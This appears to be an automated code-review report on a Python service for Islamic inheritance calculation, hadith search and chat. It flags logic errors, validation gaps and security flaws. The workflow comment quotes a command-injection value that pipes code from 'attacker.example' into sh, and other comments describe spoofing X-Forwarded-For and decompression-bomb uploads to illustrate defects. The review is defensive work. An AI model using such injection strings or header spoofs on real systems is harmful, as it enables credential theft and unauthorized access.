Merge Risk: 🟠 High · up to ea4be

This merge is not ready: it retains inheritance-calculation errors that can misallocate estates, runtime and dependency issues that can break startup or provider routing, endpoints that can expose prompt contents or permit spoofed metrics access, upload/resource-exhaustion hazards, and a confirmed lint failure. These can cause incorrect results, outages, or security exposure in release environments and require fixes or explicit acceptance before merging.

Handle malformed hadith numbers before sorting.

Line 281 raises ValueError for a record with a non-numeric "n", although chunk_hadith documents that unusable numbers return None. Line 407 performs the same unsafe conversion before chunk_hadith can skip the record. One malformed record then stops the full index build.

Use one safe number parser for both chunk_hadith and the sort key. Place records without a valid number after valid records.

Proposed fix

+        return int(record.get("n"))
+    except (TypeError, ValueError):

Track embedding provenance during synchronization.

sync treats an unchanged content_hash as an unchanged vector. This is not valid after the embedding function changes. scripts/build_index.py can write fake embeddings to a SQLite index, then later run against the same index with the real embedding seam.

If the vector dimensions differ, cosine_similarity fails in np.dot. If the dimensions match, retrieval compares vectors from incompatible embedding spaces and returns invalid rankings.

Persist an embedding profile or model identifier with the index. Force a clear and re-embed when that profile changes. Add a test that rebuilds one SQLite index with two distinct embedding profiles.

faraid.py-123-126 (1)

123-126: 🎯 Functional Correctness | 🟠 Major | 🏗️ Heavy lift

Rounded amounts do not reconcile to the estate.

Thanks for using Fraction for the share math — that part is genuinely exact and it is nice to read. The monetary conversion, however, breaks the guarantee that the module docstring promises on Line 6.

Two problems:

1. quantize(Decimal("1")) truncates to whole currency units. An estate of 100.50 can never be fully distributed.
2. Each share rounds independently with ROUND_HALF_UP. The rounded amounts do not sum back to the estate.

Concrete case: estate 100, three sons. Each share is 1/3 → 33.333... → 33. The total is 99. One unit disappears.

The existing tests only use estates that divide cleanly (80000, 70000, 120000), so this path is not covered. For an inheritance API this matters: users act on the amounts, not the fractions.

Allocate the remainder deterministically with a largest-remainder pass so the amounts always sum to the estate.

🐛 Proposed fix: exact-sum allocation

-def _frac_amount(frac: Fraction, estate: Decimal) -> Decimal:
-    """Convert a fraction-of-estate into a Decimal monetary amount."""
-    d = Decimal(frac.numerator) / Decimal(frac.denominator)
-    return (d * estate).quantize(Decimal("1"), rounding=ROUND_HALF_UP)
+def _frac_amount(frac: Fraction, estate: Decimal) -> Decimal:
+    """Convert a fraction-of-estate into a Decimal monetary amount.
+
+    Rounds down; callers use :func:`_allocate_remainder` to distribute the
+    leftover minor units so the amounts sum exactly to the estate.
+    """
+    exact = Fraction(estate) * frac
+    return Decimal(exact.numerator) // Decimal(exact.denominator)
+
+
+def _allocate_remainder(allocs: list[ShareAllocation], estate: Decimal) -> None:
+    """Distribute leftover units by largest fractional remainder."""
+    remainder = estate - sum(a.amount for a in allocs)
+    if remainder <= 0:
+        return
+    ranked = sorted(
+        (a for a in allocs if a.fraction > 0),
+        key=lambda a: Fraction(estate) * a.fraction - Fraction(a.amount),
+        reverse=True,
+    )
+    for a in ranked[: int(remainder)]:
+        a.amount += Decimal(1)

Call _allocate_remainder(allocs, estate) in distribute after Step 6, before building the result.

Unallocated residue is dropped silently.

The radd branch requires at least one non-spouse sharer. If a request has only a spouse — for example a single wife heir — then asaba is empty and non_spouse is empty. The residue of 7/8 is never allocated and never reported.

The response then returns total_allocated: "1/8" with no step explaining where the other 7/8 went, and radd_applied: false. A caller cannot distinguish this from a bug.

In fiqh the surplus passes to distant kindred (dhawu al-arham) or the public treasury. This engine does not model those heirs, which is a reasonable scope decision. The engine should still say so instead of staying silent.

Add a step and a flag for the unallocated remainder.

🐛 Proposed fix

             steps.append(
                 "Step 5 -- Radd: surplus returned to non-spouse sharers "
                 "(majority Sunni position excludes spouse from radd)."
             )
             residue = Fraction(0)
+
+    if residue > 0:
+        steps.append(
+            f"Step 5b -- Unallocated residue of {residue} remains. No residuary "
+            "heir and no eligible sharer for radd. In classical fiqh this passes "
+            "to distant kindred (dhawu al-arham) or the public treasury, which "
+            "this engine does not model. Consult a qualified scholar."
+        )

Consider surfacing residue as an explicit unallocated_fraction field on FaraidResult and FaraidResponse so clients can branch on it.

faraid.py-483-490 (1)

483-490: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win

Type heir_type as HeirType and let Pydantic validate it.

HeirType already exists in this module. Declaring the field as str and re-parsing it by hand at Lines 537-543 gives up three things:

1. OpenAPI does not advertise the allowed values, so the description on Lines 485-489 has to duplicate them by hand and can drift.
2. The error contract is inconsistent. An empty heirs list returns 422 from Pydantic, but an unknown heir_type returns a hand-rolled 400. Clients must handle both.
3. The manual loop is extra code to maintain.

Switching to the enum also makes Lines 547-551 provably dead: min_length=1 guarantees at least one group and ge=1 guarantees each group contributes at least one entry, so heirs can never be empty.

♻️ Proposed refactor

 class HeirInput(BaseModel):
     """A group of heirs of the same type."""
 
-    heir_type: str = Field(
-        ...,
-        description=(
-            "Heir type: wife, husband, son, daughter, father, mother, "
-            "full_sister, paternal_half_sister, son_of_son, daughter_of_son, "
-            "grandfather, grandmother"
-        ),
-    )
+    heir_type: HeirType = Field(..., description="Heir type")

Then simplify the endpoint body:

     heirs: list[HeirEntry] = []
     for h in request.heirs:
-        try:
-            ht = HeirType(h.heir_type)
-        except ValueError:
-            raise HTTPException(
-                status_code=400,
-                detail=f"Unknown heir type: {h.heir_type!r}",
-            ) from None
         for i in range(h.count):
-            heirs.append(HeirEntry(heir_type=ht, index=i))
-
-    if not heirs:
-        raise HTTPException(
-            status_code=400,
-            detail="At least one heir is required.",
-        )
+            heirs.append(HeirEntry(heir_type=h.heir_type, index=i))

Note this changes the invalid-heir-type status from 400 to 422. tests/test_faraid.py Line 399 asserts 400 and needs updating.

Both date-conversion endpoints end with a catch-all that returns 400 and echoes the internal error. The shared root cause is a broad except Exception as e whose handler puts str(e) into the client-visible detail and assigns a 4xx status. Unexpected server faults are then reported as client errors, internal exception text reaches the caller, and nothing is logged. The preceding typed handlers in each endpoint already cover the genuine bad-input cases.

Pass inputs.samples through env, not through direct template expansion.

Line 58 renders ${{ inputs.samples }} directly into the shell script text before bash runs. samples is a free-form string input, so a dispatcher can supply 1"; curl attacker.example/x | sh; echo " or $(...), and bash executes it inside the runner with secrets.GEMINI_API_KEY in the environment. Line 51 has the same shape, although the boolean type limits the values there.

Only actors with write access can dispatch this workflow, so this is not remotely exploitable. It is still the pattern that leaks credentials once a maintainer account or a fork-triggered variant is added later. The fix is cheap: bind the input to an environment variable so bash receives it as data, never as script text.

Reconsider the 90-day TTL for personal-context bundles.

save_personal_context reuses MEMORY_TTL_SECONDS, which is 90 days. The bundle holds purchases, pledge amounts, saved items, and past questions — the most sensitive data this service caches. The freshness window that actually governs reads is PERSONAL_CONTEXT_TTL_SECONDS, which defaults to 300 seconds, so anything older than five minutes is re-ingested and never served. The remaining 89 days of storage give no functional benefit and only widen the retention and breach window.

A dedicated, much shorter TTL keeps the same behaviour with far less exposure:

🛡️ Proposed change

+# Personal-context bundles hold purchases, pledges and past Q&A. They are only
+# read while fresh, so they are stored well below the profile retention window.
+PERSONAL_CONTEXT_STORE_TTL_SECONDS = int(os.getenv("PERSONAL_CONTEXT_STORE_TTL_SECONDS", "3600"))

     async def save_personal_context(self, user_id: str, bundle: PersonalContextBundle) -> None:

+            PERSONAL_CONTEXT_STORE_TTL_SECONDS,
             bundle.model_dump_json(),
         )

Apply the same constant to InMemoryMemoryStore.save_personal_context at line 122 so both backends match. If a longer window is a deliberate product decision, a short comment recording that decision would help the next reader.

Bound personal-context ingestion to one turn budget.

ingest_personal_records awaits six fetchers sequentially. Because main.personal_context_retriever passes no client, each fetch creates and closes its own client. All six requests target dnb-backend, including purchases through stellar.fetch_user_transactions. Six timeout periods can therefore delay the chat turn.

Create one httpx.AsyncClient, run _FETCHERS concurrently, and enforce a single asyncio.timeout budget. Define PERSONAL_INGEST_BUDGET_SECONDS and close an owned client when the budget expires. Choose the shared client timeout deliberately because it also applies to purchases and can override PURCHASE_FETCH_TIMEOUT.

/prompts/{name} returns the full system-prompt body with no authentication.

list_prompt_templates and get_prompt_template carry no Depends(require_admin) and no verify_api_key. The second one returns template.body, which is the complete system instruction — the citation policy, the language policy, and every guardrail the model is told to follow. Publishing that text makes prompt-evasion attempts much easier to construct, and the prompts themselves are product IP.

latest() returns the last registered template, not the highest version.

The docstring promises the highest registered version, and register repeats that promise at Line 39. The implementation returns versions[-1], which is insertion order. Register 2.0.0 and then a backported hotfix 1.0.1, and latest() hands back 1.0.1. Every caller that omits a version — including resolve_system_prompt and main.py Line 533 — then silently serves the older prompt.

test_latest_returns_highest_version passes only because it registers in ascending order, so the suite will not catch this.

Sort by parsed version components instead. The same fix applies to list_templates at Line 68, which reports versions[-1].version as the latest.

active_experiments() can raise during concurrent admin mutation, and that error escapes the chat handler.

_experiments is a plain dict shared by every request. active_experiments() iterates it with a comprehension. register_experiment and unregister_experiment mutate it from the admin endpoints in main.py (Lines 1905, 1932). If DELETE /experiments/{id} lands while a chat request is inside the comprehension, CPython raises RuntimeError: dictionary changed size during iteration.

The downstream impact is the reason this matters. In main.py Line 732 and Line 1190 the call sits in the for header, outside the try that guards assign. So the RuntimeError is not absorbed by the best-effort handler; it propagates and turns a normal chat turn into a 500. Admin writes are rare, which makes this a low-frequency but user-visible failure.

Snapshot the mapping under a lock so readers never iterate live state.

Untyped variants turns a malformed admin request into a 500.

variants: list[dict[str, Any]] accepts any dict shape. Line 1892 then does v["name"] and Line 1893 does v["template_name"]. A request that omits either key raises KeyError, which nothing catches, so FastAPI returns 500. A schema violation should return 422 with a message that names the missing field. A weight sent as a string would also pass parsing and later break the float arithmetic in assign.

The same block never checks that control_template names a registered template. An experiment pointing at a missing template registers cleanly and only fails later inside resolve_template.

A small Pydantic model fixes both problems and documents the payload in the OpenAPI schema.

Use is not None instead of truthiness for the hour angles.

compute_time and compute_asr return either None or a float. The dict comprehension at Lines 173-178 tests the value for truthiness, so a legitimate 0.0 hour angle is treated the same as None and the prayer time becomes null.

A zero hour angle occurs when val reaches exactly 1.0, which passes the range guard at Line 114. That is a boundary case at extreme latitudes, but the sentinel and the valid value must not share a code path.

Separately, Lines 167-168 call compute_time(0.833, ...) twice with identical arguments. The hour angle is symmetric about solar noon, so one value serves both sunrise and sunset. Keeping two names is fine for readability, but the second call is redundant work.

This test contradicts the loader contract and will break CI later.

load_dataset in evals/run.py lines 40-42 skips blank lines and lines that start with #. This test calls json.loads on every raw line with no such skip. The moment somebody adds a comment header to evals/dataset.jsonl, or the file gains a blank separator line, load_dataset still succeeds but this test raises json.JSONDecodeError and fails the build.

It passes today only because the dataset has no blank or comment lines. Mirror the loader's skip rule so the test enforces the documented contract instead of a stricter accidental one.

assert used as a runtime guard for template lookups in three places. prompt_registry.get() returns PromptTemplate | None, and each site proves non-None with assert. Python removes assert under -O or PYTHONOPTIMIZE, so in an optimized image the guard disappears and the following line calls .render() on None. The two module-level sites would fail at import with a confusing AttributeError instead of your message. The streaming site is worse: it fails per request, gets caught by the handler's broad except Exception, and surfaces to the user as a generic 500 with no indication that a template is missing.

This assertion can never fail.

Line 141 checks that "Old question 1" is absent from the remaining history. No message in pairs contains that string — the old turns are built from "A" * 40 + " very old" and "C" * 40 + " old". So the assertion passes whether or not truncation dropped anything, and the test name's promise goes unverified.

🎯 Functional Correctness | 🔴 Critical | ⚡ Quick win

Wife's share must be shared among all wives, not given per wife.

This is the one I would most want fixed before release. Quran 4:12 assigns the wives a single collective share: 1/4 without descendants, 1/8 with descendants. All surviving wives divide that one share between them. The comment on Line 160 states the opposite, and the code implements the opposite.

Trace the effect with count: 4 and descendants present:

• Current: each wife gets 1/8, total 1/2.
• Correct: each wife gets 1/32, total 1/8.

The error does not stay local. It inflates total_furud, so it can trigger awl at Line 375 and shrink every other heir's share.

Note that the rest of this function already follows the collective pattern correctly — DAUGHTER at Line 168 and FULL_SISTER at Line 188 both divide the group share by the count. The wife branch just missed it.

_fard_basis at Lines 273-276 needs a matching update so the citation text does not claim a per-wife 1/8.

🐛 Proposed fix

     if heir_type == HeirType.WIFE:
-        # 4:12 – each wife gets 1/8 (with descendants) or 1/4 (without).
-        # The per-wife interpretation (majority position).
-        return Fraction(1, 8) if has_descendants else Fraction(1, 4)
+        # 4:12 – the wives share a single collective share: 1/8 with
+        # descendants, 1/4 without. Divide it among the surviving wives.
+        num_wives = _count(heirs, HeirType.WIFE)
+        collective = Fraction(1, 8) if has_descendants else Fraction(1, 4)
+        return collective / num_wives

The grandfather condition is inverted.

The rule is the reverse of what is coded here. If the father survives, the grandfather is fully blocked by hajb and receives nothing. He is the more distant agnate. If the father does not survive, the grandfather stands in place of the father: he takes 1/6 as a fixed share when descendants exist, and takes the residue otherwise.

Current behaviour with father + grandfather + son: the grandfather receives 1/6 of the estate, taken from the son's residue.

Your own _is_asaba already encodes the correct rule at Line 243 (return not has_father), so the two functions currently contradict each other. Aligning _furud_share with it also makes hajb_applied report correctly for this case.

Please add a GRANDFATHER branch to _blocked_basis too, so the blocked allocation cites "blocked by father" rather than the generic fallback on Line 338.

🐛 Proposed fix

     if heir_type == HeirType.GRANDFATHER:
-        if has_father:
-            return Fraction(1, 6)
-        return None
+        if has_father:
+            # Blocked: the father is the nearer agnate.
+            return Fraction(0)
+        if has_descendants:
+            # Substitutes for the father: 1/6 fard alongside descendants.
+            return Fraction(1, 6)
+        return None

And in _blocked_basis:

     if ht == HeirType.GRANDMOTHER:
         return "Hajb -- grandmother blocked by mother"
+    if ht == HeirType.GRANDFATHER:
+        return "Hajb -- grandfather blocked by father (nearer paternal relative)"
     return "Hajb -- blocked by nearer relative"

count is unbounded, and the CPU cost is quadratic. This blocks the event loop.

count has ge=1 but no upper bound, so a client can post {"heir_type": "son", "count": 5000000}.

Two costs compound:

1. calculate_faraid expands each group into individual HeirEntry objects at Line 544, so memory grows linearly with count.
2. distribute is quadratic in the number of heirs. It loops over every heir at Line 364, and each _furud_share call runs about seven _count/_has scans, each of which walks the whole list. _asaba_heirs at Line 251 adds another quadratic pass.

At count: 5000000 that is on the order of 10^14 operations.

calculate_faraid is declared async def and the whole computation is synchronous CPU work, so this occupies the event loop. One request stalls every other request the worker is serving, not just its own.

Please bound count. A realistic ceiling is small — heir groups do not reach double digits in practice.

🛡️ Proposed fix

-    count: int = Field(1, ge=1, description="Number of heirs of this type")
+    count: int = Field(1, ge=1, le=50, description="Number of heirs of this type")

-    heirs: list[HeirInput] = Field(..., min_length=1, description="List of heir groups")
+    heirs: list[HeirInput] = Field(
+        ..., min_length=1, max_length=20, description="List of heir groups"
+    )

Memoising the _count results once per distribute call would also remove the quadratic factor, which is worth doing independently of the bound.

As per path instructions: "Flag blocking calls inside async endpoints (network calls should be awaited or offloaded), missing Pydantic validation on request bodies".

Good offline fixture. One small trap to note.

enqueue_for_review is replaced with _empty, which returns None. When an assessment is queued, main.py reads item.id at Line 994, raises AttributeError, and the handler logs could not queue answer for scholar review. The tests still pass, so this is not a defect, but the error path runs on every queued turn and adds an ERROR record that a future assertion over log levels could trip on. A fake that returns an object with an id keeps the fixture on the success path.

Move record.getMessage() inside the protected block.

The docstring states that nothing a call site attaches can kill logging, and the fallback delivers that for serialization. One gap remains: the payload is built before the try, and record.getMessage() performs %-formatting. A mismatched format call such as logger.info("chat %d", "abc") raises TypeError inside format, so logging drops the record and prints a handler error on stderr. Formatting the message defensively closes the last hole.

♻️ Proposed refactor

     def format(self, record: logging.LogRecord) -> str:
+        try:
+            message = record.getMessage()

Also consider ensure_ascii=False in the fallback json.dumps at Line 229, so an Arabic message is not escaped only on the degraded path.

The ast-grep use-jsonify hints on Lines 221 and 228 are false positives here: this is a logging formatter, not a Flask view.

Replace the assert with an explicit lookup failure.

prompt_registry.get() returns an optional template. In the request path at Line 1320 the code depends on assert, which Python removes when the interpreter runs with -O. If the template is missing under -O, the next line raises AttributeError: 'NoneType' object has no attribute 'render' inside the SSE generator, and the client receives a generic stream error instead of a clear cause.

base-branch changes and wait for the pending CodeRabbit check and all required
CI checks to complete successfully before merging.

In `@logging_config.py`:

record.getMessage() runs inside the existing protected/fallback block,
preventing malformed %-format arguments from escaping and terminating logging.

Validate LOG_LEVEL before you pass it to setLevel.

getattr(logging, ...) resolves any public attribute of the logging module, not only level constants. If an operator sets LOG_LEVEL=FORMATTER or LOG_LEVEL=HANDLER, the lookup returns a class, and root.setLevel() raises TypeError: Level not an integer or a valid string. The service then fails during import, because main.py calls configure_logging() at module scope. A type check keeps a typo harmless.

🛡️ Proposed fix

-    level = getattr(logging, os.getenv("LOG_LEVEL", "INFO").strip().upper(), logging.INFO)
+    _level = getattr(logging, os.getenv("LOG_LEVEL", "INFO").strip().upper(), None)
+    level = _level if isinstance(_level, int) else logging.INFO

One id is a good simplification; consider who controls that id.

new_trace_id() now reuses the inbound X-Request-ID when one is present. sanitize_request_id blocks header injection and length abuse, so the encoding side is safe. The remaining property is that the value is caller-supplied: any client can send the same X-Request-ID on many requests, so trace ids are no longer unique, and log lines from unrelated callers group into one trace during an incident. If the service is public, gate the honoring of the inbound header behind a trust flag (the file main.py already uses TRUST_PROXY_HEADERS for a similar decision at Lines 1680-1685), or keep a minted id and record the inbound value in a separate upstream_request_id field.

A valid compressed PNG or JPEG can satisfy the 10 MiB upload cap while expanding to a very large pixel buffer. image.convert("L") and ImageOps.autocontrast then allocate and process the full image. Pillow's default decompression-bomb warning does not provide a reliable request limit.

In `@hybrid_search.py` around lines 90 - 98, Update passage_from_record so
metadata is removed from kwargs before constructing ScoredPassage. Extract the
record’s metadata mapping, merge it with unknown record keys, and pass the
merged result only through the explicit metadata argument while preserving the
existing defaults for id, text, and source.

- Around line 171-184: Update _get_client_ip(), used by
metrics.verify_metrics_access(), so direct clients are identified from
request.client.host and do not receive authorization from X-Forwarded-For unless
trusted-proxy handling is explicitly configured. Adjust
test_ip_allowlist_protection to verify a direct request with a spoofed allowed
X-Forwarded-For value is rejected, while preserving legitimate allowlist
behavior.

Do not authorize direct clients from X-Forwarded-For.

metrics.verify_metrics_access() calls _get_client_ip(), which always trusts the first X-Forwarded-For value before checking request.client.host. A direct client can send 127.0.0.1 and bypass METRICS_IP_ALLOWLIST. Use request.client.host unless trusted-proxy handling is explicitly configured, and test that direct spoofed headers are rejected.
